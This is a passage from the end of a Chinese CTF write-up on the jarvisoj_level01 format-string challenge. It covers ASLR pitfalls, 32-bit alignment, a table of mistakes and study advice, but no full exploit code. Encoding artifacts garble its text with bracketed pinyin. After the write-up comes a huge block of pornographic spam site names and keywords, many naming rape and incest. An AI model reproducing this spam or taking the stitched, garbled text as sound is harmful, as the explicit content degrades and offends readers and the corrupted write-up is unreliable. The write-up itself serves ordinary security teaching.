這類不需要提前知道 libc 地址的技巧。新手在本地把 exp 跑通后經(jīng)常覺得“我自己能打通上遠(yuǎn)程也一定行”結(jié)果被 ASLR 狠狠教育。建議把“本地關(guān) ASLR 打通”和“本地開 ASLR 打通”這兩個(gè)階段嚴(yán)格區(qū)分。7.3 誤區(qū)三忽略 32 位程序的參數(shù)對(duì)齊32 位下可變參數(shù)的格式化字符串是按 4 字節(jié)一個(gè)槽位對(duì)齊的。如果輸入的內(nèi)容長(zhǎng)度不是 4 的倍數(shù)后面的地址對(duì)齊就會(huì)錯(cuò)位%n$的索引也會(huì)跟著偏移。所以發(fā)送 payload 之前務(wù)必先算好長(zhǎng)度必要時(shí)在字符串開頭補(bǔ)齊填充字節(jié)。我習(xí)慣用p32后統(tǒng)一計(jì)算總長(zhǎng)度確保對(duì)齊。7.4 實(shí)戰(zhàn)避坑清單匯總坑點(diǎn)現(xiàn)象解決方案printf 偏移不對(duì)泄露失敗或崩潰用%9$p先驗(yàn)證0x41414141出現(xiàn)位置libc 版本不對(duì)system 計(jì)算出來后打不通直接用ELF(/lib/i386-linux-gnu/libc.so.6)取符號(hào)棧地址寫死但 ASLR 沒關(guān)本地能通重啟后失效先echo 0 /proc/sys/kernel/randomize_va_spacepayload 長(zhǎng)度不是 4 的倍數(shù)%n$索引錯(cuò)亂用cyclic或手動(dòng)補(bǔ)齊確定對(duì)齊gets輸入含\x00截?cái)噍斎胗胹endline時(shí)注意 payload 中避免\x00或用send 手動(dòng)補(bǔ)\ngdb 插件不兼容調(diào)試體驗(yàn)極差重裝 pwndbg 或換用 gdb 原生命令7.5 從這道題延伸到其他題目打通 jarvisoj_level01 之后你會(huì)發(fā)現(xiàn)一個(gè)很驚喜的事實(shí)Jarvis OJ 的 level 系列從 level01 到 level05難度是平滑遞增的。level02 開始加入 canarylevel03 開始要求 ret2libclevel04 開始有格式化字符串 棧遷移的組合。所以這道題不只是讓你學(xué)會(huì)一個(gè)漏洞更是幫你建立一套“看保護(hù) → 找漏洞 → 定利用鏈 → 寫 exp”的通用解題框架。我現(xiàn)在回頭看最慶幸的是當(dāng)初沒有直接抄網(wǎng)上的 exp而是老老實(shí)實(shí)從偏移探測(cè)開始一步步做。因?yàn)?pwn 題的精髓不在于“跑通一個(gè) exploit”而在于“理解為什么這個(gè) exploit 能跑通”。格式化字符串漏洞尤其如此——它考驗(yàn)的是你對(duì)printf機(jī)制的底層理解而不是工具的使用熟練度。寫在最后一點(diǎn)關(guān)于學(xué)習(xí)路徑的體會(huì)如果你剛接觸 pwn我希望你能在 jarvisoj_level01 上多花點(diǎn)時(shí)間而不是急著刷下一道。把 stack 布局畫爛、把每一次%n的寫入長(zhǎng)度手算一遍、把 libc 符號(hào)解析的流程跑通——這些基本功會(huì)在后續(xù)所有 pwn 題里反復(fù)用到。我在做過這道題之后明顯感覺讀匯編的時(shí)候思路清晰了很多因?yàn)槟阒酪粋€(gè)函數(shù)在被調(diào)用時(shí)棧上到底發(fā)生了什么。最后分享一個(gè)我現(xiàn)在仍然在用的習(xí)慣每次寫完 exp都會(huì)故意把程序重啟幾遍再跑一次確認(rèn)不是“僥幸打通”。pwn 題的魅力就在于你說的每一句“應(yīng)該能通”都得用一次實(shí)際的 shell 來證明。
返回列表
PREV
查看更多資訊
NEXT
返回資訊列表
福利风月五月天影院| 日韩国产欧美伦理在线| 欧美中字不卡| 蜜桃视频精品一区二区三区| 粉嫩国产精品久久粉嫩| 97国产高清视频在线观看| 超碰九7| 天天看特黄的免费网站| 91 丝袜在线| 日日夜夜狠狠| 九九久久首页| 精品人妻伦一二三区久久| 手机在线中文字幕国产| 国产无码三级视频在线观看| 91热热色| 超碰吊日色| 国产视频第2页| 爱射综合| 婷婷伊人一区| 久jiu久神马影院| 激情综合色| 国产一级作爱毛片| av凤凰久久久| 亚洲综合九九| 激情五月天综合网| 男人的天堂亚洲| 柠檬AV导航| 天天干人人干天天日97| 国产精品制服丝袜清纯唯美| 91精品啪在线观看国产城中村| 久草尤物| 操逼无码操逼| 69XX一中文字幕人妻91| 色嗨嗨在线| 中文字幕久热视频在线| 免费看A片毛毛片在线播| 欧美性爱第一区| 亚洲AV成人无码一二三久久| 无码丰满熟妇一区二区浪潮AV| 五月天婷婷在线看| 一级岛国大片| 久久久97| 久久超碰爱| 五月丁香啪啪啪| 色激情五月天| 艳美熟妇先锋一二三区| 精品视频97| 中文字幕97色| 天操天操夜操夜月月年年操操 | 日本97久久| 亚洲97网站| 9.1小视频| 国产白丝网站| 精品人妻一二三| 91福利网在线观看| 国产又粗又长又爽又色| 激情五月天婷婷| 97资源超碰| 丝袜狠狠草尤物人妻av91| 91亚洲不卡一区| 亚洲精品蜜桃久久久一区二区三区| 久久亚洲骚逼综合| 嗯嗯啊啊好疼| 色97干| 色吧5亚洲| 波多野结衣AV无码一区| 国产精品无码在线| 歐美一級亂黃99在綫精品| 欧美视频激情久久久久久| 青草园大香蕉| 一二三区操逼国产91| 日韩欧美操逼xxx| 亚洲日韩美女中文字幕乱| 久久精品国产72国产精品福利| 久久婷综合| 亚州操操穴网| 青青草久久在线| 日韩精品一区二区人人人| 欧差乱伦二三| 欧美在线播放aaaa| 99精品久久久久久| 91 欧美| 成人网站 免费观看| 亚洲,欧美,春色,另类| 99最新日韩偷拍视频| 欧美亚洲综合高清在线| 日韩 欧美 另类 人妻| 天天做天天爽| 中文字幕一区二区三区蜜桃视频| 欧美日韩在线视频网站| 久久精品性| 中文字幕天天天天天| 国产精品农村妇女| 在线强奷到舒服的无码视频| 午夜福利久久久噜久噜久久综合 | 国产91乱伦| 91人人看| 天天网综合| 凹凸视频在线观看伊人| 黄色二级片网站| 色原狠狠天天天| 国产亚洲精品无码三区| 人妻人妻天天碰| 中文字幕97| 国产精品成人无码av| 美女AV一区二区| 亚洲色图 欧美| 成人网站 免费观看| 国产视频一区二区在线| 综合网天天| 五月丁香婷婷综合网| 成人在线视频一区| 噜噜噜在线视频| 中文字幕精品丝袜| 国产强奸无码乱伦| 刺激性视频黄页| 久久久久久久唑| 欧洲色| 久久久久久久久女黄| 亚洲一曲日韩精品| 亚洲性综合| 日韩精品中文字幕一| 熟妇精品juliaannAV| 3PAV乱伦视频| 日本精品免费一区二区三区四区| 午夜AV人气不卡| 中文字幕乱碼在线| 国产精品99精品视频网站| 国产夫妻一区二区| 福利在线观看一区二区| 亚洲97资源| 九九久久99| 91 综合网| 亚洲色图大香| 香伊人在线| 日韩传媒在线| 一级A啪啪啪啪| 欧美性夜| 美腿丝袜高跟网免费视频免费视频| 亚洲欧美国产va在线播放频| 是还免费视频1727我| 国产精品麻豆视频网站| 黑人娇小av在线播放 | 亚洲国产综合图区中文字幕 | 久久九九精品一区二区| 欧美做爰无码A片视频| 日本熟妇自慰性高潮一区二区三区| 偷拍自拍在线视频观看| 91bbbbbb| 日韩 欧美 校园一区| 欧美日韩另类在线播放| 久久禁| 亚洲 欧美 中文 日韩超碰| 欧美色就是色| 亚洲交换| 久久久久9999妇女| 99久久网站| 亚洲色阁| 日韩小电影| 在线视频一区二区传媒| 色情乱伦AV| 加勒比中文av| 四季AV一区二区凹凸精品小说| 欧美强奸一区二区诱惑| 欧美91精品国产自产| 亚洲十八禁止| 国产精品乱人伊人网| 日日噜噜夜夜狠狠视频无| 日韩二区三四区五区六区在线看| 麻豆乱码久久精| 男女激情黄色网址| 欧美成人性爱视频在线播放| 夜夜躁狠狠躁日日躁av| 伊人久久亚洲色欲综合网站 | 亚州国产成人精品女人久久| 日本一片一区| 六月丁香网| 强奸乱伦AV网站| 诱惑网综合| 啊啊啊不要好爽日韩无码一区| 国产自偷自拍一区| 国产精品免费视频人成| 中文字幕亚洲热播人妻| 欧美日本中字另类在线| 亚洲AV无码秘 蜜桃臀国精产品| 97久久久久久久久久| 精品小视频在线| 九色 人妻 大香蕉| 麻豆天美国美国产AV| 国产 无码 一区二区| 欧洲黄色网| 久久久久久性爱免费视频| 人妻熟妇久草在线| 啊啊啊啊啊啊啊好爽不要| 91操人| 在线强奷到舒服的无码视频| 久久成人国产| 欧美熟女操屄| 婷婷色婷婷| 亚洲AV无码国产精品久久久久| 久久中文字幕一区不卡| 亚洲成aⅴ人片不卡无码| 日韩兔费看黄片| 女优大全 - 91n| 天天爽入口| 日本一久是| 欧美极品少妇| 久久久天堂| 国产九九九九九九| 吊色| 天堂av最新电影网| 欧美综合狠| 午夜噜噜噜| 外国免费性情大片| 九九九九9999| 国产偷拍网站| 国产欧美精选自拍一区| 操逼天美3区| 中国一级操逼视频| 黄片直播三级黄片两女一男| 操碰97| 久久久草成人网站久久久草成人久久久草久久久 | 国产成久久综合片| 精品中文字幕一区二区| 日本三级网页| 色婷网| 色综合五月天| 亚洲情色一区综合| 亚洲人妖网| 日日摸日日碰| 国产成人欧美精品在线| 日本性交操一区二区不卡系列| 色网站导航大全| 国产福利视频精品视频| 亚洲中文日韩欧美大香蕉视频| 欧美一级做a爰片免费视频| 首页亚洲国产高跟丝袜诱惑视频| 无码视频一区二区| 97在线日韩中文字幕| 97综合在线| 午夜国产综合视频在线观看| 秋霞蝌科网日本一区| 丁香五月婷婷啪啪| 蜜臀th| 校园春色 欧美| 欧美性爱第一页久久| 丝袜剧情| 91天天日| 色色97爱| 国产av强奸美女| 日韩性爱高清免费视频| 一道本东京热加勒比一区二区三区| a片亚洲一本通视频| 极品出轨视频网站| 欧美不卡在线一区二区| 狠狠色丁香| 久久久久亚洲精品| 亚洲巨爆乳一区二区三区四季网| 久久久久9999| 91爱看| 人人妻人人玩人人澡人人爽| 国产日韩区| 97久久精品亚洲| 久草综合视频| 国语对白露脸XXXXXX| 久久九色| 天天操天天日青青草超碰av| 日韩特级毛片免费观看全集| 婷婷综合网站| 加勒比色综合| 青椒国产97在线熟女| 热久久这里只有精品| 欧美猛交黑寡妇中文字幕| 777超碰| 色情乱伦AV| 99自拍B亚洲| 日夜精品| 吻戏激情性巴克| 亚洲图片视频小说| 自拍偷拍 日韩无码| 久久綜合很很很| 97在线免费| 夜夜草网站| 久久久成人免费av电影| 日韩人妻 中文字幕| 麻豆福利视频导航| www.伪伪| 伊人伊人LD| 亚洲无992tv| 99爱精品| 亚洲中文字幕在现观看| 国产亚洲 中文欧美久久| 麻豆尤物视频网| 99re在线观看| 久久专区| 日韩欧美成人大香蕉| 97香蕉网| 日日黄色三级网站| 黄片qw| 中出789在线视频| 成人性爱av| 国产精品视频播放| 一区二区三区黄色片a| 99蜜桃臀亚洲成人在线观看| 中文字幕精品区先锋资源| 97一本大道亚洲一区| 欧美十八禁导航成人| 国产1727欧美| 国产高潮AA片免费看| 日1区2区3区2020| 日欧操屄视频| 亚洲欧美色图| 中文字幕精品三级久久久| 91久操| 淫色网综合| 日韩一区二区精彩视频| 美女爽爽爽刺痛洞洞| 强奸乱伦av电影| 人妻少妇无码 | 人妻少妇精品一区二区三区| 精品人妻av区天天看片| 亚洲日韩青青草色月| 国产成人午夜视频网址| 欧洲色综合| 嗯嗯啊啊视频在线看| 成·人免费午夜在线观看| 97爱欧美| 五月激情小说| 91人妻精华帖| 婷婷色香伊人| 97爱b| 亚洲最新a在线观看| 无码二级三级| www.男人天堂| 高潮内射在线| 国产成人无码高清| 国产激情视频一区区三区| 99热免费精品| 色9999日韩国产| 2023天天操夜夜操| 久久久久久无码人妻中文字幕| 少妇二级| 日韩不卡a级视频专区| 96久久久久| 97频视在线| 国产乱码久久| 狠狠综合| 精品一区二区成人| 欧美熟爽综合| 亚洲综合婷婷| 日本色色色色色视频| 97超碰大| 91国产丝袜白虎| 蜜桃视频精品一区二区三区| 九九精品热| 久久久99免费| 91高潮| 五月天人妻综合| 国产精品高潮久久AV| 天堂精品在线| 六月丁香啪啪| 黄片www.| 97欧美性爱| 亚洲伊人久久综合97| 可乐操在线| AV色图| 亚洲欧美setu| 99青青草国产视频| 超碰在线人妻不卡| 久久久久国产亚洲一区欧美色图日韩 | 17c在线成人免费A片观看| 欧美一级二级三级| 天美传媒精品久久视频| 欧亚日本情色| 国产搭汕a级片| 亚州九九九精品视频| 三上制服丝AV| 国产a级精品| 超碰亚洲欧美日韩无| 97色碰| 91GD.COM| 红杏大香蕉| 99∨VTV| 五月婷丁香| 久久亚洲av成人无码国产| 九色在线熟女国产黑人| 久久人人爽人人爽人人片Ⅴ| 97国产成人精品免费视频| 狼狼色丁香久久婷婷综合五月 | 久久超碰98| 久操在97| 国产精品禁久久久精品| 噜噜噜噜久久久精品免费| 黄色成年| 最新岛国大片| 强奸乱伦中文字幕AV| 国产精品无码论坛| 开心激情婷婷| 欧美成不卡网| 人澡逼| 色路综合| 91人妻人人澡人人爽人人精品| 午夜精品久久一区二区| 北约熟女超碰| 久久久久9| 久久久999日本大片| 中美日韩毛片| 国产91丝袜在线播放蜜月| 香蕉国产97| 9丨久久九九九| 26uuu久久| 国产成年精品高清在线观看91| 99re公开精品免费视频| 亚洲欧美经典一区二区 | 精品黄色电影| 翔田千里一区二区三区奶水| 日韩中文欧美| 九九热这里只有在线精品视 伊人草 成人菠萝蜜视频在线观看 | 污到发麻的视频 国产| 99综合自拍| 综合97久久| 久久久久久久唑| 偷拍亚洲熟女视频播放| 五月天综合在线| 欧美18禁91| 高清孕妇孕交 交孕妇| 久久99热这里只频精品6学生| 中文字幕91综合| 日本欧美m v精品网站加| 91白嫩| 91伊人久| 97舔舔| 亚洲做性| 伊人网综合在线视频| 神马精品视频| 蜜桃精品视频一区二区三区| 久久国产在线一区二区| 九九热视频在线观看| 欧美成人综合| 免费a v| 国产农村一一级特黄毛片| 麻豆久久久久久久久丝袜 | a片久久久久久久久久久久 | 少妇天堂| 操逼操操操91| 91丨精品丨国产丨丝袜| PMv在线观看| 日韩成人免费电影| 欧美天堂亚洲电影院一区在线播放 | 久操网址| 99xav| 78超碰| 97人人干人人操| 狠操91,com| av在线播放国产一区| 婷婷中文字幕| 91美女精品| 高清无码 国产精品| 亚洲男人的天堂V| 97美日韩视频| 人人操人人操人人人操| 亚洲欧美精品91| 黄页网站成人免费| 国产97色在线| 神马久久久久久久久久久久| 老熟女乱伦一区| 熟女在线视频| 操www| 久久久久久久久久久久黄色| 国产女s强制榨精视频| 国产老熟女| 久久伊人最新网址视频| 夜夜夜久久| 五月天婷婷激情| 久操电影网| 九九色逼| 777超碰| 中文啪啪视频| 91精品国产91久久青草| 宅男91视频在线播放| 一级乱伦网站| 99蜜桃臀亚洲成人在线观看| 国产精品宅男免费| 精品国产乱码久久久久久久| 一本道综合色图| 国产91 丝袜在线播放00-百度| 精品久久久久久亚洲| 97超碰久久| 男人的天堂在线2| 韩国手机不卡无码三级视频| Julia Annxxxxx| 日韩人妻一区二区精品| 97精品国产| 成人网欧美风情| 丰满岳乱妇一区二区三区| 青操影院| 中文字幕人妻丝袜| 一级片在线观看高清无码| 超碰到97情色| 六月婷婷激情| 无码丰满熟妇一区二区浪潮AV| 美女让帅哥通她小鸡鸡| 国产精品麻豆成人AV艾秋| 麻豆三极片| 先锋音影AV| 国产精品秘 福利姬在线观看| 亚洲人久久久久日| 国产精品熟女九九九| 欧美网站免费| 日韩一级性爱无码| 91痴汉| 色老汉色| 激情专区综合| 眼镜人妻101.com| 亚洲成人AB| 91色黑人少妇| 69人妻精品一区二区绯色| 女欧美一区二三区| 99久久婷婷国产综合精品草原| 一二三区操逼国产91| 蜜乳av一区二区三区四区不卡| 床上啊啊啊一区二区三区| 岛国在线免费视频| 久久人妻熟女一区二区| 中文字幕、久久精品国产2020、久久综合久久自在自线精品自、亚洲 | 亚洲 欧美 色图| 天海翼久久| 日韩一区二区熟女| 婷婷五月成人| 国产精品一区二区三区,亚洲综合| 成人性交午夜免费片| 青青伊人久久| 欧美久久毛片基地| 人人色97| 九九AV| 乱伦av.com| 日韩中文字幕国产| 日韩国产精品人妻无码久久久| 日韩专区久久久| 超碰中文字幕人妻草一区| 色999人与兽| 996热| www久| 四虎影院成年人片| 睡产熟女乱伦| 国产精品自在自拍视频| 亚欧无码在线| 亚洲欧洲精品视频发布| 在线观看无码三级少妇| 日本黄色精品专区网站| AV乱伦国产| 亚洲一二三四区| 俞拍久久国应视频| 91老司机精品| 日韩熟女精一区二区三区不卡| 东北女人性交| AV天堂因数| 校园春色第一页| 日韩99999| 老司机香蕉| 国产一区二区在线看| 人妻 欧美亚洲| 亚洲做性| 91丝袜| 超碰78| 国内偷拍精品一区二区| a片 xxxx受爽视频| 国产在线综合福利网站| 奇米四色网| 岛国福利在线精品播放| 人人操人人摸人人看人人插| 18禁精品网站在线看| 国产 日韩 欧美高清| 婷婷激情五月天小说网| 色色色色网站| 狼天天狼天天大香蕉| 日韩97超碰中文字幕| 歐美一級亂黃99在綫精品| 亚洲情色图片区| 97超碰精品成| 精精品人妻一区二区三区| 欧在线一二区| 国产家庭乱伦性爱视频| 蜜桃av综合网发布| 97天天摸天天碰| 色女综合| 97国产精选| 亚欧美色| 双插性欧美一二三区| 人妻99p| 久久黄色网址| 91性感网站| 欧美丝袜91| 精品无码一区二区三区| 一区三区啪啪| 麻豆久久久久久久久丝袜 | 久久久久久久免费A片国产成a人亚洲精∨品无码| 国产毛片片精品天天看视频| 日韩人妻中文视频| 青青草日本无码| 五月开心久久AV官网| 天天欲望网| 国产亚洲精品美女久久久| 亚洲综合婷婷| 国产十八禁视频| 色图四区| 欧美亚洲另类在线蜜桃| 九九热免费国产视频婷婷伊人五月 | 久久亚洲AV无码白度| 色嗨嗨在线| 熟妇人妻一区二区三区| 亚洲人精品久久久| 为用户提供免费看黄网址在线观看| 欧美性生活综合| 久久超碰98| 色五月婷婷五月天| 嗯嗯啊啊日韩精品| 亚洲国产美女久久久久| www狠狠| 偷拍五区| 老司机深夜18禁污污网站| 激情深爱五月天| 91碰碰| 午夜乱轮操逼视频免费看| 天天干少妇| 欧美天天影院| www网站黄| 97精品97久久| 欧美综合娱乐久久| 综合网欧| 国产精品久久久久久久无码AV| 五月激情天| 超碰97资源网亚洲| 精品性爱一二三区| 欧美激情亚洲情色| 高清成年美女黄网站免费大全| 欧美熟女激情| 欧美综合国产精品久久丁香| 啊啊啊啊啊在线观看网址 | 色播综合| 国际精品久久久| 久草免费在线一区二区| 天美麻豆黄色录像| 免费强奸av| 丝袜色综合| av日韩在线观看电影| 久久AV色| 欧美性爱精品一区二区| 亚洲精品久久久久久| 91三级理论片播放器| 后入式在线免费观看60秒| 国产高清吃奶免费视频网站| 久草新免费| 岛国福利在线精品播放| 亚洲吊色| 干干干天天| 2026国产精品视频| 天天躁日日躁AAA片李宗瑞| 超碰免费欧美7| 国产精品香蕉热久久新品| 欧美综合777| 欧亚免费视频| 欧州91高潮| 一区二区三区男女操逼黄色小电影| 极品销魂美女一区二区 | 91亚州欧美| 国产毛片在线| 午夜精品久久久久久久99| 日韩中文字幕在线视频观看| 91干熟女| 91人妻人人澡人人爽人人精品| 国产成人资源| 曰韩操B| 欧美91色| 国产九月婷婷| 精品久久久久久中文字幕三区| 天综合网欧美| 五月天婷婷基地| 亚洲国产精品无码AV久久| 亚洲欧美日韩有码| 久久亚洲AV成人精品无码| 97视频免费在线| 精品国产乱码久久久久久影片| 日韩免费在线观看不卡| 超碰久久网| 人妻嗯啊啊在线播放| A片大香蕉在线| 久操影视| 欧美熟爽综合| 欧美一级黄色18片免费看| 人人妻人人爽| 欧美激情久| 亚洲综合色网| 国产AV激情无码久久无码 | 国产这里只有精品| 国产美女裸体秘 永久无遮挡| 午夜九九| 97天天操天天干| 日日操天天操| 久久无码成人| 日韩福利电影网| 97射欧美| 91性高| 亚洲情色五月天 | 天天超级碰碰碰| http://qxhbdz.com| 嫩草影院性色| 日韩av电影成人在线| 日韩综合97p| 99热18这里只有精品| 久操99| 另类在线| 欧美刺激色黄片免费看| 国内偷自视频区视频综合| 人爽不卡视频| 天天综合网视频91| 亚洲日韩东京热一区| 日韩美脚一区二区网站| 国产精品白丝AV| 热久久九九热| 九一综合精品视品av| 熟女精品一区二区三区| JIZZJIZZ国产精品喷水| 人妻献身系列第54部| 九久精品| 天天天干977| 情色五月天就去干| 97精品97久久| 一二三四视频在线社区中文字幕| 中文字幕片| 91n美女视频| oumeisetu综合| 人妻啊啊人妻啊啊| 激情深爱五月天| 色五月婷婷色| 大香蕉伊人久久| 99久久婷婷国产综合| WWW黄片COM| 爆操无码| 日本123区操B视频| 日韩免费性爱视频在线观看| 亚洲欧洲国产综合av| 黄色av片三级三级三级免费看| 777AV电影| 亚洲成人av电影在线| 波多野结衣一级视频| 国产绿奴视频在线观看| 亚洲国产婷婷在线播放| 东京热男人的天堂精品| 一区二区三区 日韩欧美| 亚洲乱码国产乱码精网站| 99久久e免费热视| 五月丁香社区婷婷日韩欧美精品影院 | 国产一区二区三区高清视频| 久久久久女教师免费一区| 98超碰日本| 4tube欧美女厕所| 亚洲人妻日日日| 清纯唯美亚洲综合| 高清国产无码av| 福利社区午夜一区二区| 97色伦97色伦国产欧美| 久 久无码人妻AV| 老司机香蕉久久久久| 人人操人人肉久久精品| 香蕉欧美| 青娱乐国产精品| 爱射综合| 99re8超碰| 欧美在线视频观看一二三四区高清| 激情小说亚洲视频| 大香蕉九九| 香蕉99秘 精品一区丁香| 青青草色情网站视频| 亚洲交换| av影片在线观看不卡| 欧美日韩免费性爱| 国产久久久久久久久一区二区 | 国产午夜精品理论片一二三区区| 国产女人和拘做爰视频 | 91精品导航| 日本人妻中文字幕 | 精人妻一区二区三区| 2024年最新色情网站在线观看 | 欧美 亚洲 综合 制服 另类| 91熟女网| 黄在线| 欧美另类色图片| 亚洲大色堂| 国产97在线播放| yaouchengrenav| 欧美日韩第一页| 欧美天天综| 欧美高清91| 人人 操人人 操人人| 欧美日韩999| 色欲色香天天天综合网www-亚洲综合国| 漂亮人妻被强中文字幕hd| 日韩中文字幕视频| 三级三级三级日本99| 色偷综合| 欧美福利视频啊啊啊啊| 99无码视频| 天天色怡春院| 韩国一级做a久久久久| 一级性爱aaaa| 97超碰久久色| 欧美乱伦专区| 国产刺激视频| 91n.欧美| 亚洲国产麻豆一区二区三区| 久久精品亚洲东京热色播| 大香蕉一人| 日美免费黄片| 韩国女主播青草在线| 东京热天堂网| 99视频内射三四| 亚洲精品不卡一二三区| 国产A v无码专区| 92性色国产午夜福利在线661| 亚洲综合成人网| 啊啊啊啊啊啊啊啊啊啊在线观看| 人人操人人色网| 亚洲精品一区中文字幕乱码| 久久久久深夜无码| 免费在线观看国内色片网站网址| 精品视频专区| 欧美人与动性人交a| 97超碰jingpin| 欧美东京热青青草| 久久婷婷六月综合| 好湿好紧视频| 婷婷亚洲综合| 亚洲熟女乱综合一区二区在线-...亚洲国产日韩欧美一区二区三区,久久久久久精 | 夜草欧美| 精品无码久久久久久国产浪潮| 国产大片精久久久久久| 永久电影三级在线观看| 在线观看十八禁| 91欧美综合| 亚洲,欧美,春色,另类| 天天拍夜夜| 亚洲色图91欧美日韩| 69精品| 最新一二三区视频| 日韩成年人性爱视频| 嫩草 人人网精品| 五十路六十路七十路熟婆| 伊人久久久日韩一区| 中国zzijzzijzzwww精品| 人妻少妇精品久久久| 黄页网站免费高清在线观看| 国产风韵犹存熟妇三区| 偷看洗澡一二三区美女| 久久久久久加勒比| 电影69乱码96| 精品久久久久久AV无码| 久久大陆| 亚洲国产无码精品首页久久久| 天天欲望网| 亚洲。日韩。欧美| 午夜AV人气不卡| 9ⅰ久久久天天| 五月婷婷六月色| 国产偷拍网站| 97天天在线| 色五月激情网| 日韩三级在线观看网站| 999 久久久| AV中文在线| 51国产午夜精品视频| 偷拍综合亚洲| 人妻少妇视频在线播放| 影音先锋日本乱伦| 国模91| 欧美大香蕉卡久久| 中文字幕日韩人妻视频一区二区三区 | 日韩中文字墓| 97久久国产亚洲精品超碰热| 五月丁香六月激情| 欧美日韩另类在线播放| 久久久无码精品人妻二区| 欧美精品在线观看| 偷拍自拍在线视频观看| 色欧洲| 色眯眯av| 毛片中心9视频99| 国产真实野战在线视频| 999综合网| 男女性扦B| 手机av天堂久久久久| 大香蕉久| JIZZJIZZ亚洲女人被躁| 久久影视二区三区行押| 日韩性色b| 一区二区三区视频在线观看免费| 神马久久久久久| 色偷偷男人的天堂麻豆| 岛国AV一区二区电影| 综合久久中文字幕综合日韩精品| 日韩强奸av| 校园春色 亚洲| 伊人991| 久久精品视-一级做a爰片性色毛片16美国-中国女与老外在线精品 | 亚洲黄色视频在线观看视频| 亚洲天堂少妇| 在线观看视频91| 97九色人妻| 操逼网站视频漫画国产| 日本狂喷奶水在线播放212| 欧洲精品一级二级精品综合视频综合| 亚洲诱惑天堂 | 精品视频免费在线一区| 日产操逼| 国产熟妇 码视频户外直播| 青青青草原| 手机av亚洲丝袜美腿日韩第一页二页| 久久精品亚洲东京热色播| 天天天天干| 亚洲乱熟女一区二区三区大香蕉| 人妻一二三区| 成人一道本免费视频| 91狠狠综合| 国产一区二区在线播放| 97伊人| 久久亚洲一区二区色婷婷| 亚洲鸥美色图| 欧美国产操逼| 熟女高潮合集-永久久久-成人AV| 91色爽欧美| 中文字幕亚洲欧美在线不卡| 欧美 亚洲 制服 精品| 男人的天堂2010| 日本高清久久| 欧美日韩999| 亚洲综合激情五月久久| 无套内射性感少妇视频| 久久久久久久久成人av解说| 97人人操人人摸人人爱| 日韩精品 视频一区二区| 欧美日韩国产高清在线一二三区 | 一区二区三区日韩欧美| 性色乱AV一区二区| 99国产在线绯色一区| 国产精品久久久久绯色| 美日韩一卡二卡三卡免费人妻精品| 一区二区日韩欧美久久| 亚洲情色电影网| 久久国产精品91| 欧美日韩人人精品| 激情亚洲天堂| 色麻豆AV| 日本国产二线女色| 大香蕉久操| 亚洲激情网| 曰韩欧美国产传媒麻豆第一区| 精品91摸| 蜜桃视频一区二区三区| 亚洲一区亚洲天堂| 亚洲加勒比色图| 果冻传媒A片麻豆熟妇人妻| 啪啪啪亚欧美视频| 大二网站亚洲| 911av网站免费观看| 日本一区二区成人在线| 操操碰| 亚洲一二三精品久久网| 素人无码中文字幕| 999久久久久久久久| 日韩人妻丝袜中文字幕| 强奸抽插av| 日美免费黄片| 少妇一线天久久久久久| 抽插爽| 欧美三四五区| 午夜啪| av凤凰久久久| 图色综合网| 欧美草草| 日韩激情电影中文字幕| 乱伦AVxx| 日韩草久视频| 98超碰日本| 91肉片| 亚洲一区二区三区AV无码| 大香樵伊人网| 色综合20p| 亚洲色欧美| 性爱乱伦一区| 天天摸夜夜摸| 天美av在线| 在线色导航| 日韩欧美女优电影| 天天影视网色欲色香| 精品人妻一二三| 综合久久欧美| 日韩午夜国产| 国产97在线 | 亚洲| 丰满高潮18xxxx| 国产精品久久久视频| 33044男人的天堂深夜备| 国产 亚洲 一二三四| 丁香五月激情五月| 九九九九97| av爱爱爱| 1区2区3区在线视频| 97在线视频观看免费| 国产乱伦亚洲| 男人下部插入女人下部 | 欧美国产日韩清纯唯美| 91国内外在线| 影视综合无码少妇| 中文一区二区婷婷视频| 欧美综合中文| 草莓精品视频| 国产精品丝袜久久亚洲不卡| 午夜性刺激视频免费观看| 九九香蕉网| 欧美色图小说综合| 日本免费一级AAA大片器| 亚洲男人天堂网久久| 女生久久网| 丁香五月天激情| 中文字幕第二页| 欧美系列在线一区二区| 嗯嗯啊啊好大好爽| 樱花蜜乳av| 欧美日韩亚洲天堂网| 99久久久久久亚洲精品不卡| 欧美制服网站美腿丝袜| 天啪| 国产av尤物| 亚洲欧美黄| 91爱综合| 欧美激情久操网| 免费看美国人人爽,人人操| 亚洲激情视频| 天天综合网国产| 超碰97护士| 97在线免费看| 免费a v| 亚洲AO在线| 九久9热| 国内精品嫩模A∨私拍小视频| 亚洲熟妇图片| www.亚洲黄色| 91成人国产综合久久精品蜜月| 国产一区二区在线播放量| 屌妞视频久久久久久久 | 伊人四虎综合| 无码日韩网站| 色欲久久99国产精品久久久久久| www.狠狠操| 91综合网| 97se综合网| 国产成人无码啪| 超碰久草| 91无码中出人妻视频| 91这里只有精品| 欧美一区二区日韩传媒搭讪精品| 无码精品久久| 国产一区二区在线播放,久久亚洲精品中文字幕第一区,亚洲精品在线中文字幕视频 | 91欧美综合在线| 欧美黄色大香蕉一区二区| 91欧美网| 中文字幕片| 久干9操| 97网色| 久草毛片电影怡| 欧美性爱伊人| 91无遮挡| 走光一区92下载| 激情小说五月天| 日本乱人伦片中文三区| www.男人天堂| 高清无码网址| 天天爽夜夜爽夜夜爽精| 久久9999 | 日韩av免费一级电影| 99re在线视频这里只有精品| 嗯嗯啊操我| 人人操人人插人人摸人人干| 国产精品农村妇女精品| 丝袜喷水在线| 久久性爱城| 欧美在线永久天堂| 精品少妇高潮久久| xxx亚洲午夜天堂| 人人看人人摸人人色| 99无码狠狠久久| 超碰在线综合97| 青青草吊丝| 久草大| 中国一级特黄大片护士| 日韩三级av片| 亚洲欧美日韩电影网站一区| 青青网三级视频| 日逼国产| 欧美真人抽搐一进一出gif | 亚洲欧洲偷拍一区| 人妻aa| www.91人妻.com| 超碰地址久久| 精品白丝一区| 99在线视频播放| http://qxhbdz.com| 91精品国产高清久久久久久,亚洲成人 | 国产操逼网站亚洲一级黄色| 亚州精品人妻一二三区| 国产中文福利| 日本免费不卡二区| 久久怡红院| 熟妇操花| av日韩国产一区二区| 国产成年女黄特黄| 男女啊啊啊啊啊| 亚洲亚洲亚洲天堂天堂| 中文字幕天天操| 日韩内射视频| 日韩精品一二三四| 欧美日韩操逼嗦吊| 国产精品免费日韩| 五十路六十路七十路熟婆| 日本不卡二区| 揉揉日日日日| 中文字幕一区二区三区人妻不卡| 日韩不卡一二三四| 欧洲与亚洲欧美精品中文字幕| 9久久9综合| 内射白嫩美女| 午夜精品久久久久久久男人的天堂| 97人人模人人爽人人| 精品一二三区久久AAA片| 日日操丁香五月天| 